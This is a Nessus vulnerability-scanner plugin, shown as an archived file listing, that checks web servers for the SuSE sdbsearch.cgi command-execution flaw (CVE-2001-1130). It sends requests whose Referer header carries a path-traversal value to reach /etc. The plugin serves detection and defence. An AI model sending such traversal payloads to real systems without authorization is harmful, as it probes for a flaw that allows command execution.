home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / sdbsearch.nasl < prev    next >
Text File  |  2005-01-14  |  2KB  |  77 lines

  1.  
  2. #
  3. # This script is released under the GPL
  4. #
  5. #
  6. if(description)
  7. {
  8.  script_id(10720); 
  9.  script_version ("$Revision: 1.14 $");
  10.  script_cve_id("CVE-2001-1130");
  11.  
  12.  name["english"] = "sdbsearch.cgi";
  13.  
  14.  script_name(english:name["english"]);
  15.  
  16.  desc["english"] = "
  17. The SuSE cgi 'sdbsearch.cgi' is installed.
  18. This cgi allows a local (and possibly remote) user
  19. to execute arbitrary commands with the privileges of
  20. the HTTP server.
  21.  
  22. Solution : modify the script so that it filters
  23. the HTTP_REFERRER variable, or delete it.
  24.  
  25. Risk factor : High";
  26.  
  27.  
  28.  
  29.  script_description(english:desc["english"]);
  30.  
  31.  summary["english"] = "Determines the presence of the sdbsearch.cgi";
  32.  
  33.  script_summary(english:summary["english"]);
  34.  
  35.  script_category(ACT_GATHER_INFO);
  36.  
  37.  
  38.  script_copyright(english:"This script was written by Renaud Deraison");
  39.  
  40.  family["english"] = "CGI abuses";
  41.  family["francais"] = "Abus de CGI";
  42.  
  43.  script_family(english:family["english"], francais:family["francais"]);
  44.  
  45.  script_dependencie("find_service.nes", "no404.nasl");
  46.  script_require_ports("Services/www", 80);
  47.  exit(0);
  48. }
  49.  
  50.  
  51. include("http_func.inc");
  52. include("http_keepalive.inc");
  53.  
  54. port = get_http_port(default:80);
  55.  
  56.  
  57. if(!get_port_state(port))exit(0);
  58.  
  59.  
  60. req = string("GET /sdbsearch.cgi?stichwort=anything HTTP/1.1\r\n",
  61. "Referer: http://", get_host_name(), "/../../../../etc\r\n",
  62. "Host: ", get_host_name(), "\r\n\r\n");
  63.  
  64. r = http_keepalive_send_recv(port:port, data:req);
  65. if( r == NULL )exit(0);
  66. if("htdocs//../../../../etc/keylist.txt" >< r)security_hole(port);
  67.  
  68. foreach dir (cgi_dirs())
  69. {
  70. req = string("GET ", dir, "/sdbsearch.cgi?stichwort=anything HTTP/1.1\r\n",
  71. "Referer: http://", get_host_name(), "/../../../../etc\r\n",
  72. "Host: ", get_host_name(), "\r\n\r\n");
  73. r = http_keepalive_send_recv(port:port, data:req);
  74. if( r == NULL )exit(0);
  75. if("htdocs//../../../../etc/keylist.txt" >< r)security_hole(port);
  76. }
  77.